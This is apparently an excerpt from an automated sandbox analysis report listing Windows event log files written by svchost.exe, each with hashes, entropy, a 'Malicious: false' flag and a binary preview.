SHA-256:	B57978A9C8C8B8D8DF2EC5AAE442504C7327951A2602CD8322378EB9E6AC0D57
SHA-512:	CF9CDEAE9F69A19E36214B4C29D9C319B231675CD5B4B3A7BAC8F1EE23FFDB06E8E4188E0309A2B710EA1AC8948F72ED4EC7CA8209FA7C0255E1C3BA4614E959
Malicious:	false
Preview:	ElfChnk............................................lK..........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F....................C.......................J...............................................................i...................F......e...........**..............."s...........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	115472
Entropy (8bit):	4.291605729126609
Encrypted:	false
SSDEEP:	384:VV+VHJVrVaV+VLVZVChsVPVUVvVoVTVXV8VMVxVIVyV5JVYV6VCiVfV5V/VBVAVw:SOI1iRI1iQ
MD5:	6DCFAC0CF1D2A8EB54C31C981F0AA766
SHA1:	5FFC0C5E7D30ED1470F2920C7575D497F8D88142
SHA-256:	FA03CE991B7F9B3CA443672E4C92DAFDCD52522C524AA6203A2EE39A44890EDF
SHA-512:	BF2B8A97113939233B5BAFF8CE7BC73229BABF04DE50E8FF422EE63DE793914830256F4A7998E8AB40103BE742F0495388382D6CC38E5D7CB4C2336F5A8BD14B
Malicious:	false
Preview:	ElfChnk.i...............i...................H.......p.C6....................................................................T1..................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F....................................................3.......................................................8..........................&...Y1....................8..r..........F..&...............................................................@.......X...w.!.....E..........@8..r.................................................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t...'..Y.J.R>:..=_M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t./.O.p.e.r.a.t.i.o.n.a.l...f.d.........d...m.i.c.r.o.s.o.f.t...w.i.n.d.o.w.s.c.o.m.m.u.n.i.c.a.t.i.o.n.s.a.p.p.s._.8.w.e.k.y.b.3.d.8.b.b.w.e.....n.d.o..........

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.423265177202914
Encrypted:	false
SSDEEP:	384:67UhsmYDQlm9cKrRtUmNmHumtTmgm5wQXvZ7bmO8mfQE3mq9mqmxqm6nFmCWmnsn:XMrJcWHvqisqnvokZRKeTSPnSKn
MD5:	34B35A683C68A73A1BF569F68E54DB0D
SHA1:	FC5C102CFE726B21653E768ADA9A275FADA90550
SHA-256:	82203A8B2AF5D6CF60E99ADA87DF17CED01A954F995B6649E26E1C08FB97BEC9
SHA-512:	E547B36385DBFBAF0D825AE5475C3CEF0B1949E632402D94385794F1AA1A8A565738FA29C4F895894DB61B86CE7F29DF2D389CFF63D9D246AE5157BAB20DABB1
Malicious:	false
Preview:	ElfChnk..0.......0.......0.......0..........x...X...iS.~........................................................................................L.......................t...=...........................................................................................................................f...............?...........................m...................M...F...................................C\..........................................KJ...............H..;d.......X..............#...........%...........**.......0....................F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 4, DIRTY
Category:	dropped
Size (bytes):	70680
Entropy (8bit):	0.7976496829237599
Encrypted:	false
SSDEEP:	384:PxhpiMLe8XiCtViyiLhpiMLe8XiCtViyi:ZPpoPp
MD5:	EE9C64BA3669517760F6702E9F294B91
SHA1:	5B39471353F5941573B4E135E4CDFA236504B3D6
SHA-256:	57F292FACF1B6C7548D9350B2C319BE1CC6810BB03290E5FCB1FE662E3EC9830
SHA-512:	923BF3711E6146B67E56F509BEFB494E90FD5F5C03F929BAE5FEF6E68C5AD624F60737C9E15220BB076ABBC71DB49911BC0D50B25B5F47255D9DA37F5638DD7D
Malicious:	false
Preview:	ElfFile.........................................................................................................................ElfChnk.....................................P.......o........................................................................}w.............................................=...........................................................................................................................f...............?...................................p...........M...F...................................................................................................................................&...............**..p...........n.d.............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.416807332891786
Encrypted:	false
SSDEEP:	1536:CbBN2A4VD7VAx8whAGU2woJQghgooKChi581UAkM:
MD5:	8B93FFD74BA69D506BC1A7CA93434764
SHA1:	8275F283E3EB6143F33D1B97C889D167963A9B41
SHA-256:	9D1B6EA5CF8330CB2CE526B709669FCF7BD756EE43E30230B98F3FBE6B80D227
SHA-512:	8EED6493C2C3B9BD2B0DB0ECF80B6FFCC007A1BB618725BC5681469894965CE2606589062BA941C6B29D23F9A5F46EE9613F2FA46AC0B587CB6130EA99E24A15
Malicious:	false
Preview:	ElfChnk.........b...............b...............@...........................................................................Z!H.............................................=...................................................................................%.......................................X...............?...............................................M...F...................................................................................................................................z...............**..............................g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.519960906808938
Encrypted:	false
SSDEEP:	768:7PB9TXYa1RFxRaayVadMRFyfqd9xZRta7Ea+5BVZUeaBhN1dJhlBlBJ9ZFN9NxKk:vXY5nVYIyyqED5BVZUeJ+EsiA881rXT
MD5:	F2DD657C9A1CB9C4DE1DF89C0F45E5F1
SHA1:	A9B48C4B4F004BE9F9641753D4BAEADD209BC4EF
SHA-256:	7601EB81F47B9DFC18BAD436F6657EBFD07782F6C8BC681A76DEFC69C6104613
SHA-512:	C226D4C11D55C8BA887F2A6314B2C797CA60A12B90C066E7929E0CF182440D3E246C9399D4118FD5E781C7998A85E78AEF363D54D68DA86E39BF6D9F07DA6441
Malicious:	false
Preview:	ElfChnk.........\|...............\|...................%DkZ........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................y...........>...........**................9..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	99568
Entropy (8bit):	2.311841400931602
Encrypted:	false
SSDEEP:	384:aosKgoxhdo69CcoTorNorWorbvorTorZorQorNor7orqorlGhorDorrTo9orForV:RDCpCDCpr2
MD5:	48487F6F6DCF6ECF60B5EFC6808C64DC
SHA1:	F4BD3738C39FD821B317D0AF8D9B138D98280A5E
SHA-256:	E175C5C87262B0B5A74449EFC93597E49E192978FE83869880F08A8BB49A631B
SHA-512:	6214F9B0BDDE6E52B167A0934E29177698FED25A013AFC6A636BE66F7DCECBBBD1B9D46881FD48CD8704108B3C6149232CE15696539E88CBBE49246BCCCF7DB5
Malicious:	false
Preview:	ElfChnk......................................+...-..X.......................................................................{.K................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................................................................U)..............................*..............+..^........F..................................................................>.......V...X.!..e..............*+..^...............................................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y..k.N.<.D..97d>7.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y./.O.p.e.r.a.t.i.o.n.a.l...!>.U)......!>....[.U.....i...........\|...:....A..3...b...%....=.......F.i.l.e.N.a.m.e.L.e.n.g.t.h.......A..3...b...%....=.......F.i.l.e.N

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8512934663046342
Encrypted:	false
SSDEEP:	384:vhAiPA5PNPxPEPHPhPEPmPSPRP3PoP1P0mPQP1P9xP:v2Nz
MD5:	B58E72BD85CF367466349FADCF9A5818
SHA1:	0F561886DC1FC8FBCA5DC8CA10DB1A7C34CEE419
SHA-256:	D6F533FC5273A6E86F4295EE8935D94CC1A1CCD12A0DCA9C6C9723F852772861
SHA-512:	32893F184EE6EA667D4FA98625F5B0192256F05E072513D2F68C3078FA2002824DB743BF759C5DEF4EBFD92D4257E5EE06FF584D0F4A79D8A964FA2C65CFCA01
Malicious:	false
Preview:	ElfChnk......................................%...&.........................................................................p4..................N...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................................................................................'.......................**..x.............\|..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8432260898567245
Encrypted:	false
SSDEEP:	384:hhZ21JJgL4JJFiJJ+aeJJ+WBJJ+5vJJ+/UJJ+4fJJ+CwJJ+D2JJ+a2JJ+JtJJ+lD:hWXSYieD+tvgzmMvG5m2a0
MD5:	9BCAC131A0E1046D07A1126509C0163B
SHA1:	668C02B1F04155FC7C86DA0FD801AB8512D8E647
SHA-256:	A069A8295BD4D219C7E117748EC00A8CE85C3AD2F84991B77311E865DA012C90
SHA-512:	11CECFB1CC6FB52B75BBEADCB99337634B61B1D4B78514905846BC0D6F57704EFDD01E59177C0A843FB8346DF2AEF6FF00315D1597E526F4408368A0834B4E90
Malicious:	false
Preview:	ElfChnk......................................$...&............................................................................W................F...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...........................................................................................................&...........**..p............zu..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.0648786474735816
Encrypted:	false
SSDEEP:	384:uhqhSx4h/y4Rhph5h6hNh5hah/hrhbhmhjh/h7hkh8hbhMh9hYwhChwh8hRqh28k:ubCyhLfISid
MD5:	B43482B6E0A6F0C98F6F1FD45D135CCA
SHA1:	7D866A9F6AA0E8147BCE219760299CFA892CFF66
SHA-256:	9DABDEE7135BC748B38B7D769B1A33DC06E3A7FB4783E7F2ADC5FB84774C84C3
SHA-512:	F8F4B12FBE4EB7C49FD16DC53F428CB1B36A4C64C6288254DB1EE2F9D9AD1DA82097F3B8EE335BF812671DA9976718A79025AC5B08A52116BD5FB8046C772C6E
Malicious:	false
Preview:	ElfChnk.........J...............J...............`...uk......................................................................k..b................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................n............................................................................v..........**..`............0H..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.2717996314210374
Encrypted:	false
SSDEEP:	768:NcMhFBuyKskZljdoKXjtT/r18rQXn8iLqa3:eMhFBuV
MD5:	C60BBFAFCE737B77BEE93705B85ED648
SHA1:	10F8D852CE8404B6B6D875C22618BBA690A864C3
SHA-256:	551A780C4C1734FDBD0FA1A01BBC51193DC1230FE3A4ABDA3E4B75E8CE511DEE
SHA-512:	AE2F31F30563DC72FC3E8BBBD63301218FC59A50A20856018463AB0584B8921C4836E20578F43724692A1CE74C3369F8B874C3E7D868C12D3C424A0407F24E8A
Malicious:	false
Preview:	ElfChnk.........K...............K....................RE....................................................................7f..................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............m...........................5A..........................................**..x...........,.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.896745651566555
Encrypted:	false
SSDEEP:	768:nre2Q+uYvAzBCBao/F6Cf2SEqEhwaK41HZaWRSgELNnLi:WHf
MD5:	396196233DA144BC9B1AC36AEBA3FA42
SHA1:	B5800B9F323B93BCBCFA9D2F727A9975CACD6337
SHA-256:	4A268F50173502D662F85D13944A1249B58912BCD3BC9FA6B419CB1E561D2969
SHA-512:	A0C83A765A92F558C0BBD72D418D6C8A2AB26F90A71DA6B5342C1AC98E3BB3AC0A57E6DBA86AB7334276A0058863364C36D8205EEBEAF1B29B411860DA528F61
Malicious:	false
Preview:	ElfChnk.v.......x.......v.......x...........P...`...d........................................................................X.e........................................V...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**..@...v.......<..:..........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.924636023538134
Encrypted:	false
SSDEEP:	384:wh1kbAP1gzkw3kN5Ayqk+HkzGk+hkV3SuckzlckA66k+4DkzRxk+dkzwUk+rkzDx:wMAP1Qa5AgfQQn
MD5:	8EC9027553BC6E0AA226CBE3AA9AEC1A
SHA1:	3E261D8E27902EB9EEF0333F5716E2298FE8FA55
SHA-256:	A2261A47F8E8D6F1E200968E7080400155424C4DD140F281C48FEACD0017A010
SHA-512:	859C59B36EFF5DCEBD329ABED2952EE5ECE6B4D5A8918C341878E77ABEC82C6B2CA0F7392E5DF79C30A004ECF82664DBA87381739F55FC7D6547AC84DDA1BA65
Malicious:	false
Preview:	ElfChnk.....................................0_..0b.............................................................................o................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........................................&..............;....................R..........**..x...........HD................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4435307576303655
Encrypted:	false
SSDEEP:	384:3hBE0EGEq0EJE9EdEmE0S4E9/8OaExy4vEeE0TEVzEfEm/8E3VEQEoEwDEfEtEMZ:35SWOQRjEHgl4iYlz
MD5:	A8DA15633D80829F32A3E0CD50CFD995
SHA1:	CD4DD833ED62AD6DEE8A4B109A0356075CCDB8EC
SHA-256:	30BF357C2ADCC24F1A1A48EA85302CB33B8993899685FFFFDC13CD2E4A15C05F
SHA-512:	C7D808E257302F4D08623CE5C5A8D622CE946ADAA2543EE97A1AD3759CF11F93FAAFC8D786CDD4B32A1CBC1E97D5472A30B2A1EBADD5014F7F11BF2B92F1EA8B
Malicious:	false
Preview:	ElfChnk.s...............s...................@.......N...........................................................................................&.......................N...=...........................................................................................................................f...............?...........................m...................M...F....................@...............>... ..E....................$...........(...&.......".......................F...........D...............Q......**......s....................F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.3316790418382953
Encrypted:	false
SSDEEP:	384:ahYCAKRuKIYKxkKiCKVIAK8sL4K5VKjPKwnKZ/K50K8/0KXAKuWKSlK+NK8t3Kl/:a1T4hy3V3
MD5:	F7D62B056AB8FE4B83092B05915DD92A
SHA1:	7310B87EC20943EE7854A907C4F807D04D148ABF
SHA-256:	337F9831E9B639FC1523A9EBBDBA186A13D82AF929262CCA31F9FE0677B18E4A
SHA-512:	23FA4D0C18EFC32B8D0A7E5472973DFE557BC793E1BA38468CF5760561700FC1F7965B5A231F76D277B49E5B5E381F8773ED88E6B472CFAC78D5332A495F33ED
Malicious:	false
Preview:	ElfChnk.........m...............m...........@.......r9{.....................................................................g..................V.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.............................................................../...........n...........**............... .$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4485744286205566
Encrypted:	false
SSDEEP:	384:GhFiDhKxDmqIDrfDYEDdDDDbDOD2DSD+DtDFDxDlDUDEDoDADeDuDx4DWDXDjDfi:GzSKEqsMuy645tZtPN
MD5:	4572B4ADCED1EA2335588876D2A4AF20
SHA1:	0F16E0FF89200599B7DB688563F2E6B656ECFD4B
SHA-256:	68B18DB8939820C2E1E49267F4DA6D5F9EEBECF40A43BE0DEE1643D96CD5FE4C
SHA-512:	6D9E98838FEE3DB11033784CA8A912608F7814D2353C14C839BC372CE4EBF0AC9D05984EA3FE0B153062BAE55CB850277100569B37ED1B798CCDCA1E7746AD57
Malicious:	false
Preview:	ElfChnk.........L...............L....................:.N....................................................................j...................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................=....................................................................`..........**...............v?..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1559400308203562
Encrypted:	false
SSDEEP:	384:BhMLzI9ozTxzFEz3zLzWztCzizQzzz5zqfzDz5z1zkzSz9zEzWz+zQzqbzUTz3zZ:Bmw9g3Lf
MD5:	64B9990B5E7F3874310C63A28FF2269B
SHA1:	B1A4325EECAFB72D9AFF23F1759F866757699E9E
SHA-256:	3C9770DF816491A1C40167F1C53A46FB17122962B646A72F604ED3044A981DCC
SHA-512:	BC184A0543AC3022AC17527A5569CA2105E1A9B779B829A7B1FB3A72BD2B429797E1E09A229880E5803F38809A17D2FE019374D87EBC6658AB55DB837DF5C6A3
Malicious:	false
Preview:	ElfChnk.........6...............6...........(o...p...].O....................................................................\|.3.................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......E.......................n.......#....................................................................X..........**..............j...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.887574143139413
Encrypted:	false
SSDEEP:	384:BhoIRbiY8sITkAI6RdkbI4IfIixIWMIPIxIJI7IyIUIgIoqIuILI:BOnDB
MD5:	59A9F7EF42800364F6BF938C549BBD94
SHA1:	43FAC818EB3960E73963CFD78F1AE4DE6A3799D6
SHA-256:	E2BD020B97A6FB59EF57126B4DC72C56E7F457A06C7F911243C77BC0C1ACC206
SHA-512:	2A62CCA656E0761FF2C1F585207C03B19E9E827C80293C9A402C01A353D47774BC97A7A48CD136862131F18434DD29245D3A1E20E88A72AF45824ECAB6B26153
Malicious:	false
Preview:	ElfChnk.K.......L.......K.......L...........x...86.....&......................................................................e.................&.......................N...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**..x...K.....................F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Known Folders API Service.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 2 chunks (no. 1 in use), next record no. 128, DIRTY
Category:	dropped
Size (bytes):	69080
Entropy (8bit):	4.509980090125105
Encrypted:	false
SSDEEP:	768:liaBJiaBCPIEQ8QtnkVKRNlY20sMY3Dp13/n/ydIxm6g/ZSi+uQ/NujMAEWD4gmd:rp1
MD5:	4B9585E14B400BA518CC335B3465E183
SHA1:	A6D863D32FFC91A6B026E1BF20E5493509CE4EE0
SHA-256:	6535D132FBEA1AAE14E3E8FC858CFA365EE06F0409EC89E6E316CF5E54CE7A93
SHA-512:	D1B5D3A3278A7B18C5EC75C8E9460D0FF293C2810643ED2AD2F6D946D1E374CF9854A28714BCBAAEEB004AC1F70CF09A7182893DF0E1432ABC4985CAECADEC01
Malicious:	false
Preview:	ElfFile.........................................................................................................................ElfChnk.~...............~...................`...X.............................................................................au................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**..p...~........qV..........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9969363418868648
Encrypted:	false
SSDEEP:	384:Oh1hM7MpMEaMWFMu/Ma2M+AMmGM1cMNF3Mg9Ml7MABMczM0cMKhMGmMqb+MvhMIp:OeJWU
MD5:	F3F76FCFEA8151604EA805CB80B1FF45
SHA1:	53062346A40583E0ED706493B387818CF85A608A
SHA-256:	46BE32A18F777427FCB76E515EDD8612F22823F8D5F9C75FAF64DFBC9D810BC0
